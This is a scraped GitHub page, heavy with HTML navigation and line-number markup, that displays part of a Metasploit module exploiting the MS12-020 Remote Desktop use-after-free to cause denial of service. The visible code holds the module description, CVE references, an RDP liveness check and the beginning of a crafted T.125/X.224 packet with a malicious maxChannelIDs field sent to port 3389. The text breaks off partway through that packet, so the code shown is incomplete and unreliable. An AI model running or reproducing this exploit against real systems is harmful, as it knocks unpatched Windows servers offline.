class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012050901/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012050901" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012050901">2012050901</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012050201/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012050201" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012050201">2012050201</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012040401/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012040401" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012040401">2012040401</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012032801/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012032801" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012032801">2012032801</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012032101/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012032101" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012032101">2012032101</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012031401/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012031401" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012031401">2012031401</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012030701/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012030701" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012030701">2012030701</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/2012022901/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="2012022901" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="2012022901">2012022901</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/4.4.0/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="4.4.0" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="4.4.0">4.4.0</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/4.3.0/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="4.3.0" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="4.3.0">4.3.0</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/4.2-stable/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="4.2-stable" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="4.2-stable">4.2-stable</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/tree/4.2.0/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="4.2.0" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="4.2.0">4.2.0</a> + </div> <!-- /.select-menu-item --> + </div> + + <div class="select-menu-no-results">Nothing to show</div> + </div> <!-- /.select-menu-list --> + + </div> <!-- /.select-menu-modal --> + </div> <!-- /.select-menu-modal-holder --> +</div> <!-- /.select-menu --> + + <div class="breadcrumb"> + <span class='repo-root js-repo-root'><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">metasploit-framework</span></a></span></span><span class="separator"> / </span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597/modules" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">modules</span></a></span><span class="separator"> / </span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">auxiliary</span></a></span><span class="separator"> / </span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">dos</span></a></span><span class="separator"> / </span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">windows</span></a></span><span class="separator"> / </span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows/rdp" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">rdp</span></a></span><span class="separator"> / </span><strong class="final-path">ms12_020_maxchannelids.rb</strong> <span class="js-zeroclipboard minibutton zeroclipboard-button" data-clipboard-text="modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" data-copied-hint="copied!" title="copy to clipboard"><span class="octicon octicon-clippy"></span></span> + </div> +</div> + + + + <div class="commit file-history-tease"> + <img class="main-avatar" height="24" src="https://2.gravatar.com/avatar/a678999a2eafe7744646388645761d90?d=https%3A%2F%2Fidenticons.github.com%2F1bbdf7bcc724cf43874759315e061904.png&amp;s=140" width="24" /> + <span class="author"><a href="/jvazquez-r7" rel="author">jvazquez-r7</a></span> + <time class="js-relative-date" datetime="2013-10-04T07:19:14-07:00" title="2013-10-04 07:19:14">October 04, 2013</time> + <div class="commit-title"> + <a href="/jvazquez-r7/metasploit-framework/commit/5dcff47b1efa5359562a28b5717a9f4895185597" class="message" data-pjax="true" title="Add @darknight007's changes to ms12-020 dos">Add</a> <a href="https://github.com/darknight007" class="user-mention">@darknight007</a><a href="/jvazquez-r7/metasploit-framework/commit/5dcff47b1efa5359562a28b5717a9f4895185597" class="message" data-pjax="true" title="Add @darknight007's changes to ms12-020 dos">'s changes to ms12-020 dos</a> + </div> + + <div class="participation"> + <p class="quickstat"><a href="#blob_contributors_box" rel="facebox"><strong>1</strong> contributor</a></p> + + </div> + <div id="blob_contributors_box" style="display:none"> + <h2 class="facebox-header">Users who have contributed to this file</h2> + <ul class="facebox-user-list"> + <li class="facebox-user-list-item"> + <img height="24" src="https://0.gravatar.com/avatar/e6db4e6763a0d347247fe87720d5bdd2?d=https%3A%2F%2Fidenticons.github.com%2F2f12d5da956936bb4d2fd3a4a4076ea9.png&amp;s=140" width="24" /> + <a href="/tabassassin">tabassassin</a> + </li> + </ul> + </div> + </div> + +<div id="files" class="bubble"> + <div class="file"> + <div class="meta"> + <div class="info"> + <span class="icon"><b class="octicon octicon-file-text"></b></span> + <span class="mode" title="File Mode">file</span> + <span>173 lines (158 sloc)</span> + <span>5.917 kb</span> + </div> + <div class="actions"> + <div class="button-group"> + <a class="minibutton disabled js-entice" href="" + data-entice="You must be signed in to make or propose changes">Edit</a> + <a href="/jvazquez-r7/metasploit-framework/raw/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" class="button minibutton " id="raw-url">Raw</a> + <a href="/jvazquez-r7/metasploit-framework/blame/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" class="button minibutton ">Blame</a> + <a href="/jvazquez-r7/metasploit-framework/commits/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" class="button minibutton " rel="nofollow">History</a> + </div><!-- /.button-group --> + <a class="minibutton danger empty-icon js-entice" href="" + data-entice="You must be signed in and on a branch to make or propose changes"> + Delete + </a> + </div><!-- /.actions --> + + </div> + <div class="blob-wrapper data type-ruby js-blob-data"> + <table class="file-code file-diff"> + <tr class="file-code-line"> + <td class="blob-line-nums"> + <span id="L1" rel="#L1">1</span> +<span id="L2" rel="#L2">2</span> +<span id="L3" rel="#L3">3</span> +<span id="L4" rel="#L4">4</span> +<span id="L5" rel="#L5">5</span> +<span id="L6" rel="#L6">6</span> +<span id="L7" rel="#L7">7</span> +<span id="L8" rel="#L8">8</span> +<span id="L9" rel="#L9">9</span> +<span id="L10" rel="#L10">10</span> +<span id="L11" rel="#L11">11</span> +<span id="L12" rel="#L12">12</span> +<span id="L13" rel="#L13">13</span> +<span id="L14" rel="#L14">14</span> +<span id="L15" rel="#L15">15</span> +<span id="L16" rel="#L16">16</span> +<span id="L17" rel="#L17">17</span> +<span id="L18" rel="#L18">18</span> +<span id="L19" rel="#L19">19</span> +<span id="L20" rel="#L20">20</span> +<span id="L21" rel="#L21">21</span> +<span id="L22" rel="#L22">22</span> +<span id="L23" rel="#L23">23</span> +<span id="L24" rel="#L24">24</span> +<span id="L25" rel="#L25">25</span> +<span id="L26" rel="#L26">26</span> +<span id="L27" rel="#L27">27</span> +<span id="L28" rel="#L28">28</span> +<span id="L29" rel="#L29">29</span> +<span id="L30" rel="#L30">30</span> +<span id="L31" rel="#L31">31</span> +<span id="L32" rel="#L32">32</span> +<span id="L33" rel="#L33">33</span> +<span id="L34" rel="#L34">34</span> +<span id="L35" rel="#L35">35</span> +<span id="L36" rel="#L36">36</span> +<span id="L37" rel="#L37">37</span> +<span id="L38" rel="#L38">38</span> +<span id="L39" rel="#L39">39</span> +<span id="L40" rel="#L40">40</span> +<span id="L41" rel="#L41">41</span> +<span id="L42" rel="#L42">42</span> +<span id="L43" rel="#L43">43</span> +<span id="L44" rel="#L44">44</span> +<span id="L45" rel="#L45">45</span> +<span id="L46" rel="#L46">46</span> +<span id="L47" rel="#L47">47</span> +<span id="L48" rel="#L48">48</span> +<span id="L49" rel="#L49">49</span> +<span id="L50" rel="#L50">50</span> +<span id="L51" rel="#L51">51</span> +<span id="L52" rel="#L52">52</span> +<span id="L53" rel="#L53">53</span> +<span id="L54" rel="#L54">54</span> +<span id="L55" rel="#L55">55</span> +<span id="L56" rel="#L56">56</span> +<span id="L57" rel="#L57">57</span> +<span id="L58" rel="#L58">58</span> +<span id="L59" rel="#L59">59</span> +<span id="L60" rel="#L60">60</span> +<span id="L61" rel="#L61">61</span> +<span id="L62" rel="#L62">62</span> +<span id="L63" rel="#L63">63</span> +<span id="L64" rel="#L64">64</span> +<span id="L65" rel="#L65">65</span> +<span id="L66" rel="#L66">66</span> +<span id="L67" rel="#L67">67</span> +<span id="L68" rel="#L68">68</span> +<span id="L69" rel="#L69">69</span> +<span id="L70" rel="#L70">70</span> +<span id="L71" rel="#L71">71</span> +<span id="L72" rel="#L72">72</span> +<span id="L73" rel="#L73">73</span> +<span id="L74" rel="#L74">74</span> +<span id="L75" rel="#L75">75</span> +<span id="L76" rel="#L76">76</span> +<span id="L77" rel="#L77">77</span> +<span id="L78" rel="#L78">78</span> +<span id="L79" rel="#L79">79</span> +<span id="L80" rel="#L80">80</span> +<span id="L81" rel="#L81">81</span> +<span id="L82" rel="#L82">82</span> +<span id="L83" rel="#L83">83</span> +<span id="L84" rel="#L84">84</span> +<span id="L85" rel="#L85">85</span> +<span id="L86" rel="#L86">86</span> +<span id="L87" rel="#L87">87</span> +<span id="L88" rel="#L88">88</span> +<span id="L89" rel="#L89">89</span> +<span id="L90" rel="#L90">90</span> +<span id="L91" rel="#L91">91</span> +<span id="L92" rel="#L92">92</span> +<span id="L93" rel="#L93">93</span> +<span id="L94" rel="#L94">94</span> +<span id="L95" rel="#L95">95</span> +<span id="L96" rel="#L96">96</span> +<span id="L97" rel="#L97">97</span> +<span id="L98" rel="#L98">98</span> +<span id="L99" rel="#L99">99</span> +<span id="L100" rel="#L100">100</span> +<span id="L101" rel="#L101">101</span> +<span id="L102" rel="#L102">102</span> +<span id="L103" rel="#L103">103</span> +<span id="L104" rel="#L104">104</span> +<span id="L105" rel="#L105">105</span> +<span id="L106" rel="#L106">106</span> +<span id="L107" rel="#L107">107</span> +<span id="L108" rel="#L108">108</span> +<span id="L109" rel="#L109">109</span> +<span id="L110" rel="#L110">110</span> +<span id="L111" rel="#L111">111</span> +<span id="L112" rel="#L112">112</span> +<span id="L113" rel="#L113">113</span> +<span id="L114" rel="#L114">114</span> +<span id="L115" rel="#L115">115</span> +<span id="L116" rel="#L116">116</span> +<span id="L117" rel="#L117">117</span> +<span id="L118" rel="#L118">118</span> +<span id="L119" rel="#L119">119</span> +<span id="L120" rel="#L120">120</span> +<span id="L121" rel="#L121">121</span> +<span id="L122" rel="#L122">122</span> +<span id="L123" rel="#L123">123</span> +<span id="L124" rel="#L124">124</span> +<span id="L125" rel="#L125">125</span> +<span id="L126" rel="#L126">126</span> +<span id="L127" rel="#L127">127</span> +<span id="L128" rel="#L128">128</span> +<span id="L129" rel="#L129">129</span> +<span id="L130" rel="#L130">130</span> +<span id="L131" rel="#L131">131</span> +<span id="L132" rel="#L132">132</span> +<span id="L133" rel="#L133">133</span> +<span id="L134" rel="#L134">134</span> +<span id="L135" rel="#L135">135</span> +<span id="L136" rel="#L136">136</span> +<span id="L137" rel="#L137">137</span> +<span id="L138" rel="#L138">138</span> +<span id="L139" rel="#L139">139</span> +<span id="L140" rel="#L140">140</span> +<span id="L141" rel="#L141">141</span> +<span id="L142" rel="#L142">142</span> +<span id="L143" rel="#L143">143</span> +<span id="L144" rel="#L144">144</span> +<span id="L145" rel="#L145">145</span> +<span id="L146" rel="#L146">146</span> +<span id="L147" rel="#L147">147</span> +<span id="L148" rel="#L148">148</span> +<span id="L149" rel="#L149">149</span> +<span id="L150" rel="#L150">150</span> +<span id="L151" rel="#L151">151</span> +<span id="L152" rel="#L152">152</span> +<span id="L153" rel="#L153">153</span> +<span id="L154" rel="#L154">154</span> +<span id="L155" rel="#L155">155</span> +<span id="L156" rel="#L156">156</span> +<span id="L157" rel="#L157">157</span> +<span id="L158" rel="#L158">158</span> +<span id="L159" rel="#L159">159</span> +<span id="L160" rel="#L160">160</span> +<span id="L161" rel="#L161">161</span> +<span id="L162" rel="#L162">162</span> +<span id="L163" rel="#L163">163</span> +<span id="L164" rel="#L164">164</span> +<span id="L165" rel="#L165">165</span> +<span id="L166" rel="#L166">166</span> +<span id="L167" rel="#L167">167</span> +<span id="L168" rel="#L168">168</span> +<span id="L169" rel="#L169">169</span> +<span id="L170" rel="#L170">170</span> +<span id="L171" rel="#L171">171</span> +<span id="L172" rel="#L172">172</span> + + </td> + <td class="blob-line-code"> + <div class="highlight"><pre><div class='line' id='LC1'><span class="c1">##</span></div><div class='line' id='LC2'><span class="c1"># This file is part of the Metasploit Framework and may be subject to</span></div><div class='line' id='LC3'><span class="c1"># redistribution and commercial restrictions. Please see the Metasploit</span></div><div class='line' id='LC4'><span class="c1"># Framework web site for more information on licensing and terms of use.</span></div><div class='line' id='LC5'><span class="c1"># http://metasploit.com/framework/</span></div><div class='line' id='LC6'><span class="c1">##</span></div><div class='line' id='LC7'><br/></div><div class='line' id='LC8'><span class="nb">require</span> <span class="s1">&#39;msf/core&#39;</span></div><div class='line' id='LC9'><br/></div><div class='line' id='LC10'><span class="k">class</span> <span class="nc">Metasploit3</span> <span class="o">&lt;</span> <span class="ss">Msf</span><span class="p">:</span><span class="ss">:Auxiliary</span></div><div class='line' id='LC11'><br/></div><div class='line' id='LC12'>&nbsp;&nbsp;<span class="kp">include</span> <span class="ss">Msf</span><span class="p">:</span><span class="ss">:Auxiliary</span><span class="o">::</span><span class="no">Report</span></div><div class='line' id='LC13'>&nbsp;&nbsp;<span class="kp">include</span> <span class="ss">Msf</span><span class="p">:</span><span class="ss">:Exploit</span><span class="o">::</span><span class="ss">Remote</span><span class="p">:</span><span class="ss">:Tcp</span></div><div class='line' id='LC14'>&nbsp;&nbsp;<span class="kp">include</span> <span class="ss">Msf</span><span class="p">:</span><span class="ss">:Auxiliary</span><span class="o">::</span><span class="no">Dos</span></div><div class='line' id='LC15'><br/></div><div class='line' id='LC16'>&nbsp;&nbsp;<span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">info</span> <span class="o">=</span> <span class="p">{})</span></div><div class='line' id='LC17'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">super</span><span class="p">(</span><span class="n">update_info</span><span class="p">(</span><span class="n">info</span><span class="p">,</span></div><div class='line' id='LC18'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Name&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;MS12-020 Microsoft Remote Desktop Use-After-Free DoS&#39;</span><span class="p">,</span></div><div class='line' id='LC19'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Description&#39;</span> <span class="o">=&gt;</span> <span class="sx">%q{</span></div><div class='line' id='LC20'><span class="sx"> This module exploits the MS12-020 RDP vulnerability originally discovered and</span></div><div class='line' id='LC21'><span class="sx"> reported by Luigi Auriemma. The flaw can be found in the way the T.125</span></div><div class='line' id='LC22'><span class="sx"> ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result</span></div><div class='line' id='LC23'><span class="sx"> an invalid pointer being used, therefore causing a denial-of-service condition.</span></div><div class='line' id='LC24'><span class="sx"> }</span><span class="p">,</span></div><div class='line' id='LC25'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;References&#39;</span> <span class="o">=&gt;</span></div><div class='line' id='LC26'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span></div><div class='line' id='LC27'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;CVE&#39;</span><span class="p">,</span> <span class="s1">&#39;2012-0002&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC28'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;MSB&#39;</span><span class="p">,</span> <span class="s1">&#39;MS12-020&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC29'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;URL&#39;</span><span class="p">,</span> <span class="s1">&#39;http://www.privatepaste.com/ffe875e04a&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC30'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;URL&#39;</span><span class="p">,</span> <span class="s1">&#39;http://pastie.org/private/4egcqt9nucxnsiksudy5dw&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC31'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;URL&#39;</span><span class="p">,</span> <span class="s1">&#39;http://pastie.org/private/feg8du0e9kfagng4rrg&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC32'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;URL&#39;</span><span class="p">,</span> <span class="s1">&#39;http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC33'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;EDB&#39;</span><span class="p">,</span> <span class="s1">&#39;18606&#39;</span> <span class="o">]</span><span class="p">,</span></div><div class='line' id='LC34'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span> <span class="s1">&#39;URL&#39;</span><span class="p">,</span> <span class="s1">&#39;https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update&#39;</span> <span class="o">]</span></div><div class='line' id='LC35'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">]</span><span class="p">,</span></div><div class='line' id='LC36'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Author&#39;</span> <span class="o">=&gt;</span></div><div class='line' id='LC37'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span></div><div class='line' id='LC38'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Luigi Auriemma&#39;</span><span class="p">,</span></div><div class='line' id='LC39'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Daniel Godas-Lopez&#39;</span><span class="p">,</span> <span class="c1"># Entirely based on Daniel&#39;s pastie</span></div><div class='line' id='LC40'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;Alex Ionescu&#39;</span><span class="p">,</span></div><div class='line' id='LC41'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;jduck&#39;</span><span class="p">,</span></div><div class='line' id='LC42'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;#ms12-020&#39;</span> <span class="c1"># Freenode IRC</span></div><div class='line' id='LC43'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">]</span><span class="p">,</span></div><div class='line' id='LC44'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;License&#39;</span> <span class="o">=&gt;</span> <span class="no">MSF_LICENSE</span><span class="p">,</span></div><div class='line' id='LC45'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s1">&#39;DisclosureDate&#39;</span> <span class="o">=&gt;</span> <span class="s2">&quot;Mar 16 2012&quot;</span></div><div class='line' id='LC46'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="p">))</span></div><div class='line' id='LC47'><br/></div><div class='line' id='LC48'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">register_options</span><span class="p">(</span></div><div class='line' id='LC49'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">[</span></div><div class='line' id='LC50'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">Opt</span><span class="p">:</span><span class="ss">:RPORT</span><span class="p">(</span><span class="mi">3389</span><span class="p">)</span></div><div class='line' id='LC51'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="o">]</span><span class="p">,</span> <span class="nb">self</span><span class="o">.</span><span class="n">class</span><span class="p">)</span></div><div class='line' id='LC52'>&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC53'><br/></div><div class='line' id='LC54'>&nbsp;&nbsp;<span class="k">def</span> <span class="nf">is_rdp_up</span></div><div class='line' id='LC55'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">begin</span></div><div class='line' id='LC56'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">connect</span></div><div class='line' id='LC57'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">disconnect</span></div><div class='line' id='LC58'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">return</span> <span class="kp">true</span></div><div class='line' id='LC59'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">rescue</span> <span class="ss">Rex</span><span class="p">:</span><span class="ss">:ConnectionRefused</span></div><div class='line' id='LC60'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">return</span> <span class="kp">false</span></div><div class='line' id='LC61'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">rescue</span> <span class="ss">Rex</span><span class="p">:</span><span class="ss">:ConnectionTimeout</span></div><div class='line' id='LC62'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">return</span> <span class="kp">false</span></div><div class='line' id='LC63'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC64'>&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC65'><br/></div><div class='line' id='LC66'>&nbsp;&nbsp;<span class="k">def</span> <span class="nf">run</span></div><div class='line' id='LC67'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">max_channel_ids</span> <span class="o">=</span> <span class="s2">&quot;</span><span class="se">\x02\x01\xff</span><span class="s2">&quot;</span></div><div class='line' id='LC68'><br/></div><div class='line' id='LC69'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">pkt</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">+</span></div><div class='line' id='LC70'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x13</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC71'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x0E\xE0\x00\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224 (connection request)</span></div><div class='line' id='LC72'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x00\x00\x00\x01</span><span class="s2">&quot;</span> <span class="o">+</span></div><div class='line' id='LC73'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x00\x08\x00\x00</span><span class="s2">&quot;</span> <span class="o">+</span></div><div class='line' id='LC74'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x00\x00\x00</span><span class="s2">&quot;</span> <span class="o">+</span></div><div class='line' id='LC75'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x6A</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC76'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224 (connect-initial)</span></div><div class='line' id='LC77'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x7F\x65\x82\x00</span><span class="s2">&quot;</span> <span 